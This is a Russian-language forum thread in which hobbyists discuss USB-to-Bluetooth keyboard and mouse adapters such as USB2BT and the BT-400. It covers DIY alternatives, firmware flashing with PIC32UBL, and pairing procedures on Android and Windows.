Вот раз: https://zenmarket.jp/y…spx?q=Usb2bt&sort=sold
Единственная микросхема на плате — PIC32MX250F128B — I/SP.

Есть ещё версия конструктор (набор для сборки): USB2BT ADU2B01:
https://www.youtube.com/watch?v=SRSyqky-WWk
Корпус надо будет самому смастерить.
В японском магазине btoshop.jp:
http://btoshop.jp/2014/11/12/adu2b01/
https://translate.goog…2F11%2F12%2Fadu2b01%2F (в Гугл-переводе)
¥ 3,980 (2 035.69 руб) без учёта доставки

Комментарий корейца Sangryool Kim, в котором он приводит ссылки на другие аналогичные устройства:
https://www.youtube.co…8O-SZ7nMusT8O-VVG_pCkI
— все они здесь упомянуты ниже.

Bluetooth Keyboard Adapter
http://handheldsci.com/kb
Видео от handheldsci:
https://www.youtube.co…_N-v3fGGHaPbmGJvlv4ZUQ
Фото вверху темы — это изделие BT-400, которое снято с пр-ва на момент сентября 2018. Вместо него продаётся BT-500, которая содержит обновленную прошивку, но лишена аккумулятора.
Кореец Sangryool Kim снял много видео с участием BT-400:
https://www.youtube.co…FjCMgoS6rcGxNVd2Rhg7BQ
— в т.ч. внутренности адаптера.

Запросы для поисковой системы:
USB HID via Bluetooth
USB2BT
Hid USB bluetooth
Hid USB2Bluetooth
usb to bluetooth adapter for keyboard
Bluetooth USB hub
USB to Bluetooth KM Switch
Bluetooth HID Dock
Bluetooth Desktop Dock
Bluetooth portable Dock

Сообщение отредактировал AndyER03 — 14.01.20, 21:13

Теперь о самоделках

Сама инструкция:
https://learn.adafruit…it-ez-key-hid/overview (внизу жмите кнопку «RESEARCH >» для перехода на следующую страницу статьи)
https://youtu.be/jOot8H8GPM4
На основе этого опыта, юзер ezrahilyer сделал свою клаву:
http://straypoetry.com/ibm-model-m-keyboard/#

========================
На следующем форуме
https://geekhack.org/index.php?topic=62236.0
— ведётся обсуждение программирования Bluetooth HID-модулей с целью обучения их передачи сигналов от клавиатуры к Android- и Windows-устройствам.
Обсуждаемые Bluetooth HID-модули:
Bluetooth V4.0 HM-11 BLE Module на базе чипа CC2541
Seeed Micro BLE Module на базе чипа nRF51822.

Сообщение отредактировал timotv — 27.01.18, 22:26

На сколько я понимаю, уже есть более современные устройства, чем Arduino и HC-05 — я имею в виду материнские платы на базе процессора ESP32.
К примеру, как я полагаю (поправьте меня, если ошибаюсь), вместо Arduino Pro Mini 3.3V и HC-05(. HC-08, или RN-42) можно использовать плату на базе esp-wroom-32, например вот такую — LOLIN32 V1.0.0-ESP32 Rev1:
https://ru.aliexpress.…FLASH/32814488554.html
ESP32 и Ардуино:
https://geektimes.ru/post/290205/

Народ потихоньку уже начинает разрабатывать программный код для HID Bluetooth клавиатуры и мыши:
esp32 hid example
https://www.youtube.com/watch?v=CI2FSw8P7xQ
https://www.youtube.com/watch?v=zgW9Hc1bgiY

Сообщение отредактировал timotv — 06.01.18, 18:59

Забрал вчера на почте HANDHELD SCIENTIFIC Bluetooth Keyboard Adapter. Снял первые видео:
Плейлист «USB HID via Bluetooth»
Участники тестов: Samsung Galaxy S4, Android, мыши, Teamviewer
Пока впечатления об адаптере хорошие, ибо с мышами без наворотов она работает. Более того, производитель (HANDHELD SCIENTIFIC) сказал, что они тестировали свой адаптер с беспроводной клавиатурой Rii mini X1 (На Алиэкспрессе). Поэтому мы надеемся, что также будет работать беспроводная клавиатура Rii mimi I25A, которую я заказал 2 недели назад.

Сообщение отредактировал timotv — 14.01.18, 14:34

Просветите, пожалуйста, неграмотного. Купил адаптер USB2BT 🙂 с компа с 10 виндой удалось прицепиться к девайсу влегкую — пин 0000 ввел непосредственно на компе и все заработало — и мышка, и клавиатура.

Теперь пробую ту же манипуляцию провести с телефона (Андроид) — и вот тут начинаются приключения — телефон не требует ввести у себя на экране пин, а вместо показывает 6-значный пин и требует вбить его на клавиатуре, которая подключена к девайсу (это не срабатывает, у клавиатуры вообще не горят лампочки до тех пор пока не закончится спаривание). Вероятно, та версия что мне пришла, требует спаривания.

Как я понял из гугл-транслэйта, у сэнсэя на страничке есть 2 версии прошивки: поддерживающая спаривание и без спаривания, а также указан тул — PIC32UBL, которым эти прошивки прошивать. В поисках официальной версии PIC32UBL нелегкая меня занесла на сайт microchip.com, а там вообще какие-то дебри — дескать, PIC32UBL надо компилировать самим при условии наличии каких-то контроллеров, и, цитирую, «если вы не понимаете что это такое, то покиньте данный сайт немедленно».

Вопрос уважаемым посетителям: все ли так страшно? Можно ли тупо запустить PIC32UBL, по USB втопить прошивку на девайс и всё — или там действительно надо шаманить с бубном? На сэнсэя надежды нет — он, как я понимаю, в английском не особо.

plodozhor,
Что касается меня, то тут я тоже новичок. Девайс USB2BT я не покупал. Что касается ваших проблем, то предлагаю связаться с разработчиком — Sotto.

UPD. ТОлько щас дочитал текст предыдущего поста до конца. Ну если японец ни алё в английском. То тогда метод тыка никто не отменял. Программировать контроллеры не страшно. Я сам это делал много раз. Пока учитесь , сначала научитесь делать бэкап, и перепрошивку при любом раскладе.

Сообщение отредактировал timotv — 19.01.18, 22:22

Ну хорошо, а что-нибудь вам известно по поводу PIC32UBL и с чем его едят? Неохота брикнуть свежий девайс 🙂

Сообщение отредактировал plodozhor — 19.01.18, 22:25

Итак, после недельных плясок с бубном и созерцания сакуры, удалось добиться каких-то результатов с USB2BT.

Для начала: понадобится программа для записи фирмвари PIC32UBL, которую можно скачать на официальном сайте производителя тут: http://www.microchip.c….aspx?appnote=en554836

Со страницы сэнсея можно скачать 2 типа фирмвари: cо спариванием и без спаривания, для каждого есть 3 версии — 1.01, 1.04 и 1.05:
https://translate.goog…fc2.com%2Frelease.html
Для прошивки необходимо перевести бегунок в левое положение. Для нормального режима работы бегунок надо подвинуть вправо.

Девайс идет в комплекте с USB-хабом на 4 порта и инструкцией на японском, оформленной в духе кавайного анимэ.
Схема подключения такая: мини-USB порт поделки подключается к зарядному устройству, а в полноразмерный USB-порт включается хаб. В один из портов хаба вставляется клавиатура, в другой — мышь, в третий — блютус-свисток.

Изначально пробовал все 3*2=6 версий со старым свистком Targus ACB10EU — так вот с ним не пошло ни в какую, подконнектиться к поделке можно было только с 10 винды. Видимо, это из-за того что свисток поддерживал только блютус версии 2.0.
В дальнейшем обзавелся микроадаптером Gembird BTD-MINI5, на этот раз — уже с поддержкой стандарта 4.0. Где-то через минут 5 поделка распознала адаптер, до этого была недоступна.

1) версия ФВ 1.05 «нормал», т.е. не требующая спаривания. Функционал пока раскрыт не полностью — работает только клавиатура, подключенную мышь поделка игнорирует (в том числе и на Windows 10). При этом успешно коннектится к Андроиду 4.4.3, 4.4.2, Windows 8, Windows 10. На Windows всех версий требуется ввести пин — 0000. На андроид подцепляется сразу.
Минус данной версии, кроме нерабочей мыши — в отсутствие спаривания через нажатие кнопки. Фактически любой проходящий мимо вашего окна может приконнектиться к клавиатуре, при этом предыдущее соединение (т.е. ваше) будет окончено. Конечно, вряд ли кто-то сможет с телефона заслать вирус, который запишется в память клавиатуры, но чем черт не шутит.

2) версия ФВ «pairing» 1.05, требующая спаривания. Наконец-то полностью успешный тест — удалось подконнектить и мышь, и клавиатуру к Андроиду, и при этом «чужие» телефоны не коннектятся к девайсу.
Внимание! Спаривание с Андроидом проходит не совсем так, как описано в мануале. Правую кнопку (SMB2) в процессе вообще не задействуем.
Порядок действий:
1) запускаем сканирование блютуса на телефоне
2) зажимаем и держим на поделке левую клавишу (SM3) около двух секунд. Не отпускаем! Status LED при этом загорается медленно мигающим синим. Иногда она может загореться красным — это означает, что надо начинать шаг 2) заново.
3) на экране телефона выбираем в списке найденного при скане — USB2BT:xxxxxxxxx. Не отпускать кнопку SMB3!
4) появляется надпись Connected — отпускаем. Всё, телефон подключен.

Поделка запоминает спаривание и в следующий раз приконнектится автоматически.
Под Windows 8.1 процесс сложнее — в списке скана USB2BT появляется на 4-5 раз, перед этим он представляется то как Keyboard, то как Multimedia Device, то как Shortcut 1954.

При этом — с родным хабом он видит только клавиатуру. Однако, мною в дальнейшем использовалась следующая тестовая установка:
— родной хаб, в который подсоединен провод, уходящий в монитор + Bluetooth v4.0 dongle
— монитор DELL со встроенным хабом на 4 USB, клавиатура и мышь подсоединены непосредственно к монитору
— телефон подключен к HDMI выходу монитора через MHL-кабель

В итоге все работает, фактически телефон можно использовать как рабочую недо станцию. Собственно весь этот эксперимент был затеян из-за того, что MHL не поддерживает одновременно и HDMI, и USB (точнее поддерживает только у Самсунгов и со спецверсией кабеля), поэтому USB-устройства подключаются по блютусу.
Что интересно, к Windows 10 поделка подключала и клавиатуру и мышь с родным хабом — при условии использования свистка Bluetooth 2.0. Такой вот «сад камней».
Возможно, у свистка 4.0 какие-то прерывания перекрывают прерывания от мышки.

Итоги:
— USB2BT может присоединять к компьютеру (телефону, планшету) как минимум 2 USB устройства по блютусу
— на каждом устройстве и ОС изделие ведет себя по-разному, поэтому надо приноровиться
— у клавиатуры под Андроидом доступна только английская раскладка
— Андроид в силу своих ограничений в качестве рабочей станции может рассматриваться лишь как кратковременная замена основному компьютеру